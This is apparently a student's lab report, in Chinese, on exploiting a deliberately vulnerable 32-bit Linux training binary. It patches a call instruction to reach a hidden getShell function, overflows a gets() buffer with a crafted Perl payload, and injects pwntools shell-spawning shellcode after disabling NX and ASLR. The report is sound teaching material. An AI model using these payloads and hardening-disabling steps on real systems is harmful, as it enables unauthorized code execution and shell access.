一、实验概述
1.1 实践目标
本次实践对象为 Linux 平台下的 32 位可执行文件pwn1,程序正常执行流程为main函数调用foo函数,foo函数通过无边界检查的strcpy将用户输入回显。程序内置未被正常调用的getShell函数,执行后可返回交互式 Shell。本次实验通过三种递进方法实现非预期代码执行,掌握栈溢出漏洞从原理到实战的完整链路:
-
手工修改 ELF 可执行文件机器指令,直接篡改程序执行流跳转至
getShell -
利用
foo函数缓冲区溢出(BOF)漏洞,构造载荷覆盖返回地址触发getShell -
编写无坏字节自定义 Shellcode,通过栈溢出实现任意代码执行
1.2 核心知识点
1.2.1 大小端字节存储模式
-
核心规则:x86 架构 Linux 默认使用小端序,低字节存低地址、高字节存高地址,是栈溢出 Payload 构造的基础
-
实例演示:本实验
getShell地址0x0804847d,小端为\x7d\x84\x04\x08 -
实战用途:所有写入栈的地址必须转小端,否则跳转错误导致崩溃
1.2.2 补码与 CALL 指令偏移计算
-
核心规则:负数以补码存储,补码 = 正数取反 + 1,CALL 用补码做相对偏移
-
实例演示:本实验偏移
-57,32 位补码0xffffffc3 -
实战用途:任务一修改 CALL 机器码,
e8 + 补码组成e8 c3 ff ff ff
1.2.3 ELF 可执行文件.text 段特性
-
核心规则:
.text段存可执行机器码,修改此处可篡改执行流 -
实例演示:本实验
.text段起始0x08048000 -
实战用途:任务一改 main 中 call 指令,跳转至 getShell
1.2.4 关键汇编指令与机器码
-
核心规则:常用指令对应机器码,控制程序执行逻辑
-
实例演示:NOP(0x90)、CALL(0xE8)、RET(0xC3)、INT 0x80(0xCD80)
-
实战用途:CALL 改跳转、RET 触发溢出、INT 0x80 调用系统指令
1.2.5 栈帧结构与偏移量
-
核心规则:栈从高到低增长,栈帧 = 返回地址→旧 EBP→缓冲区
-
实例演示:foo 函数缓冲区
ebp-0x1c(28B)+ 旧 EBP(4B)=32B 偏移 -
实战用途:精准计算覆盖返回地址所需填充长度
1.2.6 缓冲区溢出(BOF)原理
-
核心规则:gets 等无边界函数,超长输入覆盖栈数据、篡改返回地址
-
实例演示:输入 >32 字节,覆盖 foo 函数返回地址
-
实战用途:任务二、三劫持程序执行流
1.2.7 Shellcode 构造基础
-
核心规则:无空字节、适配 x86,调用
execve("/bin/sh") -
实例演示:本实验 23 字节 Shellcode:
\x31\xc0\x50...\xcd\x80 -
实战用途:任务三注入代码,实现任意执行
1.2.8 Payload 通用结构
-
核心规则:溢出载荷分两类:内置函数、自定义 Shellcode
-
实例演示:任务二:32B 填充 + 4B getShell 地址;任务三:32B 填充 + 4B 跳转地址 + Shellcode
-
实战用途:标准化构造,避免盲目试错
1.2.9 NX 栈不可执行防护
-
核心规则:默认禁止栈上执行代码,阻止 Shellcode 运行
-
实例演示:需用
execstack -s开启栈可执行 -
实战用途:任务三必须关闭 NX,才能运行 Shellcode
1.2.10 ASLR 地址随机化
-
核心规则:随机化内存地址,每次运行栈地址不同
-
实例演示:
echo 0关闭 AS,固定栈地址 -
实战用途:任务三精准定位 Shellcode 地址
1.2.11 GDB 调试核心技巧
-
核心规则:断点、寄存器查看、地址定位
-
实例演示:
break *0x080484ae、info registers esp/eip -
实战用途:获取栈地址、验证偏移、排查崩溃
1.2.12 实验环境规范
-
核心规则:每次任务用纯净原始文件
-
实例演示:任务二、三重新拷贝未修改程序
-
实战用途:避免前序修改影响后续实验
二、实践任务与操作步骤
2.1 任务一:手工修改可执行文件跳转至 getShell
在实验文件20251903中,main函数通过call指令调用foo函数执行正常回显逻辑,程序内置未被任何代码调用的getShell函数,执行后可直接返回系统交互式 Shell。因此我们实际上无需利用任何安全漏洞,只需直接修改 ELF 文件.text代码段中main函数调用foo的call指令机器码,将其跳转目标从foo函数篡改至getShell函数,当程序执行到该call指令时,就会跳过正常的foo函数流程,直接跳转到我们指定的getShell函数执行。具体实验执行的步骤如下所述:
2.1.1 反汇编定位关键信息
首先先按照实验要求,将文件名修改为学号,kali虚拟机主机名修改为自己姓名拼音,具体指令为
sudo hostnamectl set-hostname 姓名


其次先用ls命令排查20251903文件的具体位置,再用cd命令切换到文件所在目录,切换成功后执行反汇编命令,提取call foo指令地址、机器码及getShell函数入口地址,具体指令为
cd Desktop objdump -d 20251903 | more
最后通过查询相关知识点,我从而知道,objdump的输出分为固定三列,第一列为指令的虚拟内存地址(程序运行时在内存中的地址)、第二列为指令对应的机器码(CPU 直接执行的二进制编码,十六进制)、第三列为我们可读的汇编指令,而往下继续寻找我们就可以看到三个关键函数。getShell函数、foo函数和main函数。得到的关键信息如下:
1.getShell函数入口地址:0x0804847d(0804847d <getShell>:)
2.main中call foo指令的虚拟地址:0x080484b5(80484b5: e8 d7 ff ff ff call 8048491 <foo>)
3.原call foo的机器码:e8 d7 ff ff ff
e8:32 位近调用call指令的固定前缀(所有call指令都以e8开头)d7 ff ff ff:跳转偏移量(小端序存储,实际值为0xffffffd7)
4.call指令的下一条指令地址:0x080484ba(call指令本身占 5 字节,0x080484b5 + 5 = 0x080484ba)
5.原目标函数foo的地址:0x08048491(call指令后面标注的<foo>地址)


2.1.2 计算新的 call 指令机器码
得到上述的关键信息后,我们需要根据 call 指令相对寻址公式,计算跳转至getShell所需的偏移量与机器码,因此首先我们需要先计算偏移量:
偏移量 = 目标函数地址 - call指令下一条指令地址
偏移量 = 0x0804847d - 0x080484ba = -57(十进制)
其次我们将十进制负数-57转换为 32 位十六进制补码:
(1)绝对值57的 32 位二进制:00000000 00000000 00000000 00111001
(2)按位取反得到反码:11111111 11111111 11111111 11000110
(3)加 1 得到补码:11111111 11111111 11111111 11000111
(4)转换为十六进制:0xffffffc3
之后我们按小端序排列补码并组合机器码,得到的补码小端序为c3 ff ff ff,因此call getShell的完整机器码为e8 c3 ff ff ff。
最后我们再反向验证计算正确性:
0x080484ba + 0xffffffc3 = 0x0804847d
得到的结果与getShell函数地址一致,证明我们的计算无误。后续就需要我们修改main函数,将其机器码由e8 d7 ff ff ff变为e8 c3 ff ff ff,这样就可以让它跳转到getShell函数,而不是原来的foo函数。
2.1.3 十六进制编辑器修改文件
为了实现上述操作,首先我们需要先安装hexedit工具,具体指令为
sudo apt update && sudo apt install hexedit -y

其次我们打开实验文件,具体指令为
hexedit 20251903

之后我们定位待修改指令,按Ctrl+S打开十六进制搜索对话框,输入原机器码e8d7ffffff(注意这里输入的时候没有空格),按回车后将自动定位到目标字节并高亮显示。


最后我们直接输入新机器码e8c3ffffff(注意这里输入的时候也没有空格),输入内容将自动覆盖高亮的对应字节。输入完成后按Ctrl+O保存修改,并按Ctrl+X退出编辑器。
2.1.4 验证修改结果
首先我们先验证反汇编验证指令的正确性,我们重新反汇编文件,确认call指令跳转目标已修改,具体指令为
objdump -d 20251903 | more

可以看到在main函数中的机器码已经确实被修改为e8 c3 ff ff ff,证明该指令已生效。
之后,我们再运行验证功能有效性,直接运行修改后的可执行文件,具体指令为
./20251903
发现跳出交互式 Shell 提示符$,我们再输入hostname查看主机名称、ls查看同目录下所有文件、pwd查看当前工作目录路径,发现均可以实现,证明实验成功

2.2 任务二:利用 BOF 漏洞触发 getShell
在实验文件20251903中,foo函数使用了无任何长度校验的gets()读取用户输入,这是典型的缓冲区溢出(BOF)漏洞,因此我们实际上无需修改程序本身,只需构造一个超长的攻击输入字符串,让其超出缓冲区边界,逐层覆盖栈上的局部变量、旧 EBP,最终覆盖函数返回地址(EIP)。当foo函数执行ret指令时,会将被篡改的返回地址赋值给 EIP,从而跳转到我们指定的getShell函数执行。具体实验执行的步骤如下所述:
2.2.1 实验环境准备与确认漏洞点
在实验开始前,我们需要先对新文件做一次拷贝,后续实验用这个新拷贝的文件的做(这步是重中之重且注意该新文件是没有做过实验一直接从学习通下载的原始状态),具体指令为
cp pwn1\(1\) 20251903yht_2

之后我们需要验证foo函数使用了gets(),因此我们需要先查看这个pwn文件,具体指令为
objdump -d 20251903yht_2 | more


可以看到foo函数输出中包含call 8048330 <gets@plt>,证明存在无边界输入漏洞,因此我们的后续目标就是构造一个超长的攻击输入字符串,让其超出缓冲区边界,逐层覆盖栈上的局部变量、旧 EBP,最终覆盖函数返回地址(EIP)。
2.2.2 安装GDB调试工具
为下述实验的顺利进行,我们需要安装GDB调试工具调试程序,安装过程中所有提示输入y并回车即可,并在安装后验证是否安装成功,具体指令为
sudo apt install gdb -y

由下图可以看到我们的gdb 工具已经安装成功

2.2.3 计算缓冲区到返回地址的偏移量

我们从上图的反汇编结果可以提取到关键栈信息:
-
缓冲区起始地址:
ebp-0x1c(28 字节) -
旧 EBP 占用地址:4 字节
-
总偏移量(缓冲区起始地址到返回地址):
28 + 4 = 32字节
即我们可以理解为输入前 32 字节会填满缓冲区并覆盖旧 EBP,而第 33-36 字节会覆盖返回地址。
由于上述静态计算的偏移量可能不准确,因此我们选择用GDB验证是否得到了真实值。于是我们进行以下实现,
首先我们先生成一个调试字符串,该测试字符串由32个A加4个B组成,用于标记返回地址的位置。具体指令为
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"B"*4)' > test_offset

其次,我们启动GDB调试程序,具体指令为
gdb -q ./20251903yht_2
之后,我们在GDB界面中传入测试字符串 run < test_offset,具体指令为
run < test_offset
最后,程序奔溃后,我们在GDB界面查看 EIP 寄存器的值,具体指令为
info registers eip
我们发现此时 EIP 正好是0x42424242,此时 A 的数量就是精确偏移量。于是我们输入quit指令退出gdb界面

2.2.4 获取getShell函数地址
首先我们再次启动GDB,具体指令为
gdb -q ./20251903yht_2
之后,我们查看getShell函数地址,具体指令为
print getShell
最后在得到getShell函数的地址为0x0804847d后,我们输入quit指令退出gdb界面

2.2.5 生成并验证攻击Payload
按 x86 架构小端序存储规则,我们将该地址转换为十六进制转义字符为:\x7d\x84\x04\x08。同时通过调试已确认缓冲区到返回地址的精确偏移量为 32 字节,因此我们选择使用 Perl 构造 Payload(32 个可区分填充字符 + 4 字节小端序修正后 getShell 地址 + 1 字节换行符触发gets()输入完成),具体指令为
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20251903yht_2_input

最后我们用 xxd 验证构造的 Payload 正确性,具体指令为
xxd 20251903yht_2_input

可以看到实验的整个输出正好对应我们构造的 Payload 结构: 32字节可区分填充字符 + 4字节小端序修正后 getShell 地址 + 1字节换行符,没有出现字节错误、顺序错误或多余字符,证明这个 Payload构造的正确性。
2.2.6 执行攻击获取交互式 Shell并验证结果
我们将 Payload 作为输入传递给程序,触发缓冲区溢出,(cat payload; cat)用于保持标准输入打开,避免 Shell 启动后立即退出。具体指令为
(cat 20251903yht_2_input; cat) | ./20251903yht_2
之后我们再输入id验证当前用户身份,确认获得了执行程序的完整用户权限、ls查看同目录下所有文件,确认实验相关文件均存在、pwd查看当前工作目录路径,发现均可以实现,证明实验成功

2.3 任务三:注入自定义 Shellcode 并运行
在实验文件20251903中,我们已经利用缓冲区溢出漏洞实现了跳转到程序内置getShell函数的基础利用。本任务是栈溢出漏洞的高级利用形式,突破了只能调用程序内置函数的限制:由于目标程序未开启栈不可执行(NX)防护,栈内存区域同时具备可读、可写和可执行权限,因此我们无需依赖程序中已有的函数,只需将自定义的二进制机器指令(Shellcode)注入到栈中,再将函数返回地址(EIP)覆盖为栈上 Shellcode 的起始地址。当foo函数执行ret指令时,会将被篡改的栈地址赋值给 EIP,从而让 CPU 跳转到栈上执行我们注入的任意代码。
2.3.1 实验环境准备与安装配置
首先我们先下载官方稳定版execstack安装包和安装deb包,来实现后续的栈执行权限管理,具体指令为
wget http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb
sudo apt -f install -y
其次我们先学实验二中一样,在实验开始前,我们需要先对新文件再做一次拷贝,后续实验用这个新拷贝的文件的做(这步是重中之重且注意该新文件是没有做过实验一直接从学习通下载的原始状态),之后我们开启栈可执行权限、并验证是否已成功开启,具体指令为
cp 20251903 20251903yht_3
execstack -s 20251903yht_3
execstack -q 20251903yht_3

可以看到其已成功开启,之后我们关闭地址空间随机化(ASLR),并验证是否已成功关闭,具体指令为
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space

由结果显示0可以看到已经成功关闭,之后我们使用Kali官方源安装pwntools工具,具体指令为
sudo apt update
sudo apt install -y python3-pwntools

2.3.2 获取 GDB 环境下的栈地址
在完成上述的基本准备之后,我们首先启动 GDB 调试目标程序,获取 foo 函数返回时的栈顶指针值:
gdb ./20251903yht_3
并之后,依次在 GDB 界面依次执行以下命令:
# 第一、关闭GDB内部地址随机化
set disable-randomization on
# 第二、在foo函数的ret指令处设置断点
break *0x080484ae
# 第三、运行空输入,让程序停在ret指令前
run <<< ""
# 第四、查看栈顶指针寄存器的值
info registers esp
# 第五、退出GDB
quit

由上述的实验结果中,我们可以记录下 ret 指令前的 esp 值:0xffffcf2c,为下述攻击做准备
2.3.3 GDB 内尝试攻击
首先我们先使用 pwntools 生成包含 Shellcode 的测试 Payload,具体指令为
python3 -c "
from pwn import *
context.arch='i386'
shellcode = asm(shellcraft.sh())
offset = 32
ret_addr = 0xffffd2b0 # 初始设置的返回地址
payload = b'A' * offset + p32(ret_addr) + shellcode
with open('payload_ok', 'wb') as f:f.write(payload)
"

之后我们在GDB工具内运行 Payload 进行验证,具体指令为
gdb ./20251903yht_3
最后我们在GDB界面再次关闭GDB内部地址随机化执行,确保每次运行栈地址固定,并将测试Payload作为标准输入传入程序,在受控调试环境下验证漏洞触发和控制流劫持效果,具体指令为
set disable-randomization on
run < payload_ok

由上述的结果中可以看到,程序收到 SIGSEGV 信号,发生段错误,这说明GDB内的地址在真实运行时存在偏移。
2.3.4 外部终端真实环境攻击,并对攻击结果进行验证
这时,我们首先先切换到root用户,并清空内核日志
sudo su
dmesg -c > /dev/null

其次我们运行测试 Payload 来触发崩溃,并尝试通过 dmesg 查看崩溃时内核日志的段错误信息
(cat payload_ok; cat) | env -i ./20251903yht_3
dmesg | grep segfault

我们可以看到实际输出结果中,崩溃时的栈指针sp = 0xffffde20,这就是真实环境下 Shellcode 的起始地址。
之后我们生成最终攻击的Payload,将返回地址替换为从 dmesg 获取的真实栈地址,具体指令为
python3 -c "
from pwn import *
context.arch='i386'
shellcode = asm(shellcraft.sh())
offset = 32
ret_addr = 0xffffde20 # 从dmesg提取的真实Shellcode地址
payload = b'A' * offset + p32(ret_addr) + shellcode
with open('payload_real', 'wb') as f:f.write(payload)
"

最后,我们执行最终攻击获取 Shell,
(cat payload_real; cat) | env -i ./20251903yht_3
之后我们再输入ls查看同目录下所有文件,确认实验相关文件均存在、pwd查看当前工作目录路径,发现均可以实现,说明我们已成功注入自定义 Shellcode 并获得了完整的交互式系统 Shell,本次缓冲区溢出漏洞高级利用实验圆满完成。

三、实验中出现的问题与解决措施
-
BOF 攻击后程序无响应,未获取 Shell
实际上已经成功了,但没显示shell的原因我也不知道,我把python2/python3/perl命令都试了一遍,结果都是一样的,后续我直接再输入
id、ls、pwd等命令,发现均可以直接实现,证明实验流程本身没问题。![image-20260528214302534]()
-
Shellcode实验不管怎么做程序总是没跑到我下的断点位置,就直接退出了。
我在验证了断点的位置地址没错,程序输入不为空,不会出现程序提前结束,过程步骤本身没有问题后,本来已经放弃挣扎了,以为是环境的问题,结果我重新将学习通的文件下载下来,对其做备份再进行实验后,发现实验成功了,后来我才意识到实验一对原始文件做了修改,导致我后续实验二、实验三用的一直都是修改后的文件,所以这个问题一直没法实现,后续我在对实验二、三都单独用新文件做备份后再进行操作,均没有再遇到问题。
![image-20260528211037854]()
四、实验感想
这次栈溢出实验,我前前后后折腾了整整两天。全程跟着实验步骤反复操作,可各种奇怪的问题接连不断,越做越乱、越急越错,中间好几次卡住半天没进展,心态直接崩溃,甚至一度想放弃。
最折磨我的是两个关键卡点,几乎浪费了我两天的时间。任务一时修改了原始文件,却完全忘了备份干净副本,导致后续任务二、三全部受牵连,断点总是失效、程序频繁异常退出,怎么调试都不对;任务二BOF 攻击后程序无响应,未获取 Shell,我以为是实验流程哪有问题,但实际就是没有。两天基本都在白忙活,挫败感特别强,但说实话在排查问题、与同学互相交流的过程中,我也是第一次真正吃透了栈溢出的核心原理,学会了Shellcode注入、栈权限配置、ASLR关闭的关键操作,也熟练掌握了GDB调试、dmesg日志分析的实用技巧。 好在最后我重新下载了原始文件,给每个任务都单独备份干净副本,逐行核对每一步配置,做完一步就立刻验证效果,一步一个脚印慢慢推进,终于顺利完成了所有实验。
这次经历让我真切体会到,网络攻防的实验细节决定成败,严谨和耐心缺一不可,看似简单的操作步骤,少一点细心、少一步验证,就会前功尽弃。同时也特别感谢同学育家的帮助,让我在崩溃边缘没放弃,不仅完成了实验,更真正理解了栈溢出漏洞利用的完整逻辑,收获远比结果本身更珍贵。

